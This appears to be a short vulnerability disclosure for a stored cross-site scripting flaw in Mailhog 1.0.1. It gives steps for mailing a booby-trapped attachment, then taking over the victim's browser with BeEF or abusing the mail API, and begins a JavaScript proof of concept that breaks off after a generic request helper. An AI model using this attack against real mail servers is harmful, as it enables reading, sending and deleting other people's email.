Saturday, June 15, 2024

Mailhog 1.0.1 Cross-Site Scripting XSS

Malicious users have the ability to send API requests to localhost and this request will be executed without any additional checks. As long as CSRF exists and unrestricted API calls as well, XSS could lead any API calls including email deletion, sending, reading or any other call.

Steps to reproduce:
1. Create malicious attachment with payloads stated below
2. Attach a malicious file to email with payload (XSS)
3. Send email
4. Wait for the victim to open an email
5. Receive data, get control of victim browser using Beef framework, or manipulate with API data

Proof of Concept:

var XMLHttpFactories = [

function () {

return new XMLHttpRequest()


function () {

return new ActiveXObject("Msxml2.XMLHTTP")


function () {

return new ActiveXObject("Msxml3.XMLHTTP")


function () {

return new ActiveXObject("Microsoft.XMLHTTP")



function createXMLHTTPObject() {

var xmlhttp = false;

for (var i=0;i

try {

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